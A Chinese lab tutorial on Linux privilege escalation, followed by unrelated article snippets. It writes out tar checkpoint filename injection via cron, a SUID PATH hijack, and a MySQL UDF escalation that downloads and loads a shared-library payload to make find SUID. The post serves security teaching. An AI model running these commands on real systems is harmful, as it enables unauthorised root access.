第104天: 权限提升-Linux 系统环境变量定时任务权限配置不当MDUT 自动化

目录

案例一:Linux-环境变量文件配合 SUID-本地

案例二:Linux-定时任务打包配合 SUID-本地

案例三:Linux-定时任务文件权限配置不当-WEB&本地

案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

隧道出网

手工提权


案例一:Linux-环境变量文件配合 SUID-本地

原理

 复现demo.c文件源代码

#include<unistd.h>
void main()
{ setuid(0);setgid(0);system("ps");
}

demo.c文件进行编译生成shell文件

加上suid权限

 这个时候执行shell,就是利用root权限去执行ps命令

切换普通用户权限

进行提权操作,把bash命令复制到/tmp下

这个时候需要进行环境覆盖,让/tmp下的ps在/bin下之前执行。

export PATH=/tmp:$PATH

这个时候再运行./shell

实战应用

1.普通用户权限下先获取suid所有程序
2.去除系统自带的一些命令(筛选第三方程序)
3.对该程序进行反编译或者找源码 明白该程序的作用
4.思考该程序有无执行一些环境变量命令(ps ping su sudo 等 比如该shell程序执行了ps命令

5.尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)

案例二:Linux-定时任务打包配合 SUID-本地

项目背景:运维为了防止数据丢失,会定时运行计划任务,把项目打包

tar zxf 1.tar.gz /var/www/*

这里首先先创建一个计划任务

backup.sh,记得加执行命令(去/tmp路径下,把tmp下的所有文件打包成backup.tar.gz)

cd /tmp;tar czf /tmp/backup.tar.gz *

 去/etc/crontab下写上一条

* * * * * root /tmp/backup.sh

自动打包

这个时候切换普通用户,写入这几条命令

echo "" > "--checkpoint-action=exec=sh test.sh"        

#将空文件写入--checkpoint-action=exec=sh test.sh中
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  

#写入命令  chmod +s对可执行文件升级权限 赋予suid权限
chmod +x test.sh

再打包时因为文件名的原因,会自动进行命令拼接,解释:

tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh  #自动执行test.sh
tar czf /tmp/backup.tar.gz --checkpoint=1   #每处理512个字节执行一次命令

1分钟后出现了具有suid权限的bash

 然后运行该程序,这里我上一篇文章文章介绍了debian系统需要上-p参数才能够提权

实战应用

查看定时任务· 定时任务有没有可利用 (tar打包压缩等) 

案例三:Linux-定时任务文件权限配置不当-WEB&本地

在计划任务里面的backup.sh里面一般是没有修改文件的权限的

当加上修改权限的时候。就可以把里面的内容改成反弹shell的命令

 切换普通用户,修改文件内容

开启监听

反弹

案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

靶机下载地址:

链接:https://pan.baidu.com/s/1_ghJGJ3-bJZj1L4d6nlnYw?pwd=8e03
提取码:8e03

项目复现:https://zhuanlan.zhihu.com/p/270343652

nmap扫描

直接只展示mysql提权过程,菜刀连接

翻阅数据库的账号密码

利用哥斯拉建立连接尝试连接数据库

 nc反弹shell

进入mysql开启外联

外联命令

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
flush privileges;

但是还是连接不上,原因是由于该靶机设置了防火墙设定

解决方法

手工提权(在webshell上面的数据库管理进行提权) 自己连自己
隧道出网(用外部或本机的工具项目提权 建立隧道)

隧道出网

利用刚才反弹的shell,进行木马编写,建立冰蝎连接(中间走了很多弯路,ip变了)

 用冰蝎建立连接

然后建立内网穿透

现在进行连接

连接成功

这个时候利用工具进行自动化提权

工具下载地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

进行连接配置

直接进行提权

手工提权

可能用到的命令

下载mysql udf kali poc进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
上传或下载1518到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行UDF导出
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
#配合使用find调用执行
touch xiaodi
find xiaodi –exec "whoami" \;
find xiaodi –exec "/bin/sh" \;
id

下载源文件

编译并且重命名

python开启简易网站

下载

进行udf导出

创建do_system函数,并且给find命令加上suid权限

 退出进行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/27030.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Science Online《科学周刊》文献在家如何查找下载

今天有位同学自己学校没有Science《科学》数据库&#xff0c;求助几篇该数据库文献&#xff0c;小编就把自己在家下载文献的方法分享给了这位同学&#xff0c;同时也分享给其他有需要文献下载但找不到资源的朋友。本文以下载Science《科学》文献为例来演示一下在家获取文献的过…

STM32开发遇到问题解决2024.6.14

1、电路板打样出问题 电路板样品回来&#xff0c;做了接线&#xff0c;连接上后&#xff0c;可以下载程序&#xff0c;上电测试&#xff0c;有画面&#xff0c;但是上电不到一分钟&#xff0c;电池电量突增&#xff0c;串口屏开始闪烁&#xff0c;3.3V指示灯闪烁&#xff0c;赶…

leetcode刷题记录40-886. 可能的二分法

问题描述 给定一组 n 人&#xff08;编号为 1, 2, ..., n&#xff09;&#xff0c; 我们想把每个人分进任意大小的两组。每个人都可能不喜欢其他人&#xff0c;那么他们不应该属于同一组。 给定整数 n 和数组 dislikes &#xff0c;其中 dislikes[i] [ai, bi] &#xff0c;表示…

32T存储删除视频的恢复方法

由于存储技术的发展和普及目前很多行业都开始使用小型存储&#xff0c;NAS可以通过网络进行数据上传和读取&#xff0c;使用极为方便。但是由于NAS设备容量较大且碎片较多&#xff0c;所以此类设备删除或者格式后恢复难度是比较大的&#xff0c;下边我们来分享下32T存储的恢复方…

opencv安装笔记 各种平台

目录 python安装opencv-python c 麒麟arm系统安装和用法 python安装opencv-python pypi上搜索 Search results PyPI 现在安装是一个版本&#xff0c;大于3.6都可以安装 c 麒麟arm系统安装和用法 参考&#xff1a; ffmpeg rknn麒麟系统 安装 opencv_ffmpeg4 解码示例-CSDN…

【Gitlab】访问默认PostgreSQL数据库

本地访问PostgreSQL gitlab有可以直接访问内部PostgreSQL的命令 sudo gitlab-rails dbconsole # 或者 sudo gitlab-psql -d gitlabhq_production效果截图 常用SQL # 查看用户状态 select id,name,email,state,last_sign_in_at,updated_at,last_credential_check_at,last_act…

SqlSugar使用DbFirst对象根据数据库表结构创建实体类-C#

本文所述开发环境&#xff1a;.C#、NET8、Visual Studio2022 1. 在项目中安装SqlSugar 在Visual Studio2022中新建一个 C# 的控制台应用程序&#xff0c;框架选择 .Net8。新建后如下图所示&#xff1a; 然后打开NuGet程序包管理器 搜索 SqlSugarCore 并安装 安装后在解决方案…

音乐界的ChatGPT!Suno V3震撼发布,AI创作的新纪元开启!

AI音乐革命的背景与意义 在数字化的浪潮中&#xff0c;音乐产业正经历着前所未有的变革。随着人工智能技术的不断进步&#xff0c;AI不仅改变了我们消费音乐的方式&#xff0c;更开始重塑音乐的创作过程。Suno V3&#xff0c;这个由Suno AI公司推出的音乐生成模型&#xff0c;…

Vue前端服务是什么:深入解析与实际应用

Vue前端服务是什么&#xff1a;深入解析与实际应用 在现今的互联网开发领域&#xff0c;前端技术日新月异&#xff0c;Vue.js作为其中的佼佼者&#xff0c;其前端服务更是成为了众多开发者关注的焦点。那么&#xff0c;Vue前端服务究竟是什么&#xff1f;它有哪些核心要素和实…

【等保资料】等级保护定级指南及网络安全解读(ppt原件)

新版网络安全等级保护定级指南网络安全等级保护工作的作用对象&#xff0c;主要包括基础信息网络、工业控制系统、云计算平台、物联网、使用移动互联技术的网络和大数据等。 软件全套精华资料包清单部分文件列表&#xff1a; 工作安排任务书&#xff0c;可行性分析报告&#xf…

模拟面试题卷二

1. 什么是JavaEE框架&#xff0c;你能列举一些常用的JavaEE框架吗&#xff1f; 答&#xff1a;JavaEE框架是一套用于开发企业级应用的技术规范和工具集合。常用的JavaEE框架有Spring、Hibernate、Struts、JSF等。 2. 请解释一下面向对象技术和设计原则是什么&#xff0c;你能…

VR编程零基础好学吗?深入解析四个维度、五大要素、六大技巧与七大挑战

VR编程零基础好学吗&#xff1f;深入解析四个维度、五大要素、六大技巧与七大挑战 在科技飞速发展的今天&#xff0c;虚拟现实&#xff08;VR&#xff09;技术已逐渐渗透到我们生活的方方面面。对于许多零基础的学习者来说&#xff0c;VR编程是否好学成为了他们心中的疑问。本…

Linux网络-HttpServer的实现

文章目录 前言一、请求报文的解析URL的解析 二、响应报文的发送Content-LenthConten-TypeCookie和Set-CookieCookie的风险 三、尝试发送一个HTML网页404网页Location 重定向 四、浏览器的多次请求行为总结 前言 之前我们简单理解了一下Http协议&#xff0c;本章我们将在LInux下…

WPF视频学习-简单应用篇图书馆程序(一)

1.登录界面和主界面跳转 先把登录界面分为三行《Grid》 先添加两行&#xff1a; <Grid><!--//分三行&#xff0c;行排列--><Grid.RowDefinitions><RowDefinition Height"auto"/><RowDefinition Height"auto"/><RowDef…

Spring Boot集成antlr实现词法和语法分析

1.什么是antlr&#xff1f; Antlr4 是一款强大的语法生成器工具&#xff0c;可用于读取、处理、执行和翻译结构化的文本或二进制文件。基本上是当前 Java 语言中使用最为广泛的语法生成器工具。Twitter搜索使用ANTLR进行语法分析&#xff0c;每天处理超过20亿次查询&#xff1…

原子性,一致性,隔离性,持久性

原子性&#xff08;Atomicity&#xff09;&#xff1a;一个事务中的所有操作&#xff0c;要么全部完成&#xff0c;要么全部不完成&#xff0c;不会结束在中间某个环节&#xff0c;而且事务在执行过程中发生错误&#xff0c;会被回滚到事务开始前的状态&#xff0c;就像这个事务…

【区分vue2和vue3下的element UI Form 表单组件,分别详细介绍属性,事件,方法如何使用,并举例】

在Vue 2中&#xff0c;我们通常使用Element UI的表单组件&#xff0c;而在Vue 3中&#xff0c;由于Element UI本身并未直接支持Vue 3&#xff0c;我们通常会使用Element Plus作为替代&#xff0c;它是Element UI的Vue 3版本。下面我将分别介绍Vue 2下Element UI Form和Vue 3下E…

【第四篇】SpringSecurity的HttpSecurity详解

SpringSecurity的XML文件配置 在配置文件中通过 security:http 等标签来定义了认证需要的相关信息 SpringSecurity的HttpSecurity配置 在SpringBoot项目中,脱离了xml配置文件的方式,在SpringSecurity中提供了HttpSecurity等工具类,这里HttpSecurity就等同于在配置文件中定…

Google Test简介

1. 引言 在软件开发过程中&#xff0c;测试是保证代码质量和可靠性的关键环节。Google Test&#xff08;gtest&#xff09;是一个由Google开发的C测试框架&#xff0c;它提供了一套丰富的测试功能&#xff0c;帮助开发者编写和维护高质量的代码。 2. Google Test 基础 2.1 G…

2024年护网行动全国各地面试题汇总(4)作者:————LJS

面试过程及回答 自我介绍这里就如实回答的工作经历&#xff0c;参与的项目&#xff0c;尽量简短的把你参与的项目和成果说出来就行 使用过哪些设备&#xff0c;出现误报怎么办 天眼、EDR、全流量告警、态势感知、APT、蜜罐设备先去查看设备的完整流量日志等信息确认是否为误报&…